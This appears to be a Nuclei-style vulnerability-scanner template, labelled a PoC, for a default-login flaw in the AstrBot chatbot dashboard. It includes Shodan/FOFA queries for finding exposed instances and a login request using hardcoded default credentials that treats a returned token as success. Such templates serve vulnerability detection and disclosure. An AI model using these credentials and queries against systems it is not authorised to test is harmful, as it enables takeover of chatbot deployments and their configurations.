AstrBot contains a default login vulnerability. An attacker can access the AstrBot dashboard using default credentials and gain control over the chatbot framework, modify configurations, manage LLM providers, and execute unauthorized operations.
PoC
id: astrbot-default-login
info:
name: AstrBot - Default Login
author: theamanrawat
severity: high
description: |
AstrBot contains a default login vulnerability. An attacker can access the AstrBot dashboard using default credentials and gain control over the chatbot framework, modify configurations, manage LLM providers, and execute unauthorized operations.
reference:
- https://github.com/Soulter/AstrBot
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id:
- CWE-798
metadata:
verified: true
max-request: 2
vendor: soulter
product: astrbot
shodan-query: html:"<title>AstrBot"
fofa-query: body="<title>AstrBot"
tags: astrbot, default-login
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<title>AstrBot"
internal: true
- type: status
status:
- 200
internal: true
- raw:
- |
POST /api/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{username}}","password":"{{password}}"}
attack: pitchfork
payloads:
username:
- astrbot
password:
- 77b90590a8945a7d36c963981a307dc9
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"token"'
- type: status
status:
- 200
# digest: 4b0a00483046022100a47b1fc2f035826fd2bc41b6e47055c5f5e668aef47e749ff75c54579a573d67022100f934a28de7f74f5accfedcae131935cc5f4eb9d1e4da4719b466c0e0867e0949:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.